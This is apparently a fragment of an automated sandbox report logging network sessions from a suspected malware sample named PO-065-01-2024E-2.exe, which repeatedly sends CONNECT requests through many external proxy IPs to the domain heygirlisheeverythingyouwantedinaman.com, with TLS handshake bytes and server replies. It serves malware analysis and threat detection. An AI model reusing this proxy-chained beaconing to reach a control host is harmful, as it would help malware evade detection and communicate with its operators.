72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.10	54361	103.23.100.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.666099072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.385215044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.10	54449	47.89.184.18	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.669766903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.885659933 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.10	54324	103.120.6.46	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.686810970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.075470924 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.10	50338	190.97.238.88	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.686831951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.707884073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708175898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.708018064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.707556009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:27.707554102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:39.707515955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:03.848176003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:51.966661930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.10	54561	45.12.31.140	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.688415051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.842411995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.10	54320	177.38.5.16	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.690969944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.10	54533	162.214.121.173	52577	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.697518110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.207820892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.802120924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.048023939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.335326910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.623904943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.862236023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.339562893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.337146997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.10	50361	45.117.179.179	6522	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.701874971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.786041975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.786403894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.10	50498	51.89.173.40	17982	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.782761097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.893981934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.10	54407	216.9.224.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.784287930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.10	53866	40.76.160.143	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.784353018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.10	54478	35.72.118.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.784818888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.054936886 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:51 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:52.083103895 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 25 c6 51 d7 80 f0 ae bb 3b 08 f0 cf b9 00 e3 6d b7 1b ad bd a3 81 d3 41 5b ac 06 40 55 76 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%Q;mA[@Uv,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#=J=;+JD=Z3%!_4<uH__
Mar 11, 2024 16:39:52.356004953 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 01 06 4f 16 ee e3 67 7a 3d d3 c0 be c6 a1 ae 8d ab ef aa 1b 54 4b 64 f0 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9Ogz=TKdDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151440Z260311151440Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:52.358565092 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 13 1d 05 2f ff e5 3f 82 23 7b f6 ec a4 86 f7 d5 17 c9 92 85 88 8e b5 37 26 51 75 e7 b3 90 d9 61 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 e0 b6 a5 80 2d c0 57 76 57 22 17 b1 35 b1 23 57 9d 07 56 cd 1c Data Ascii: %! /?#{7&Qua(-WvW"5#WV^Kcj\|n
Mar 11, 2024 16:39:52.627693892 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 08 1a 9b c5 ff 66 c6 20 df 8e cd 6b b0 aa 6e 1e a0 57 a9 b2 fa 6a 19 58 6a fc 32 ef b5 66 45 a5 af 96 5f 21 83 55 db 17 Data Ascii: (f knWjXj2fE_!U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.10	54492	133.18.234.13	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.785299063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.061815977 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.10	54437	18.135.133.116	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.786629915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.084355116 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:51 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:52.097882986 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 25 c6 b9 3a 7a 3b 40 d3 71 d4 ad ee 32 63 50 19 19 5b 32 fd 42 a1 70 72 4d 4b 7a 73 88 67 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%:z;@q2cP[2BprMKzsg,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#=J=;+JD=Z3%!_4<uH__
Mar 11, 2024 16:39:52.389167070 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 21 f3 59 d4 68 ae 7d e1 5d 8f 5f 0b de bc 96 3a 98 a7 c8 02 4e e0 f0 ed 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9!Yh}]_:NDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152422Z260311152422Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:52.390969992 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 e0 83 20 07 b2 b7 14 aa cd d8 17 68 96 d2 b8 14 1f 70 c8 84 f8 53 bd 1c aa d0 01 e8 a0 68 65 4b 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 16 d0 fb bb 4b 2d 3c a9 33 69 e6 20 77 2c ef 2b f0 21 25 fa e1 Data Ascii: %! hpSheK(K-<3i w,+!%jS;\|B
Mar 11, 2024 16:39:52.680071115 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 8e d0 e5 25 9e ca 70 2a 48 6d 33 14 50 0d 52 7e 00 1a 84 74 bf 4f b0 7b da fa 65 d6 9e 12 f6 c8 5d 8b dc 85 a0 c3 77 72 Data Ascii: (%p*Hm3PR~tO{e]wr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.10	54426	18.133.16.21	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.786756992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489164114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.783529997 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:52.791163921 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c7 4c 1c 83 8d 74 c3 e4 c3 91 82 86 bb c0 32 1c 69 c3 5e 61 de 36 57 67 e2 91 7a 6a b5 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%Lt2i^a6Wgzj*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:53.119976044 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 40 08 3c 3d 1d 1e bd 73 49 94 a4 fd 57 88 33 8e 74 bc e7 ac 9a 32 fb 2a 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9@<=sIW3t2DOWNGRD0000H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152422Z260311152422Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:53.121787071 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 02 d3 dc a9 40 f2 88 ab 50 36 d8 c8 24 67 63 2b 09 04 d4 95 87 d9 d2 a7 b2 e9 43 27 e9 b4 4c 27 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 37 eb 65 23 29 0c 57 73 e1 27 94 41 89 55 af 49 77 58 87 34 ee Data Ascii: %! @P6$gc+C'L'(7e#)Ws'AUIwX4LUJG
Mar 11, 2024 16:39:53.417174101 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 98 6d a6 0c 2c c8 4f 2a 11 01 62 e3 41 21 84 63 36 79 3f d6 e3 94 9c e7 0c 1d f9 ab 59 87 16 9f 65 92 02 70 27 4c cf a9 Data Ascii: (m,O*bA!c6y?Yep'L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.10	54388	203.112.134.74	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.787102938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.10	50415	133.232.90.96	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.787118912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.894000053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.911020994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.004761934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.012164116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
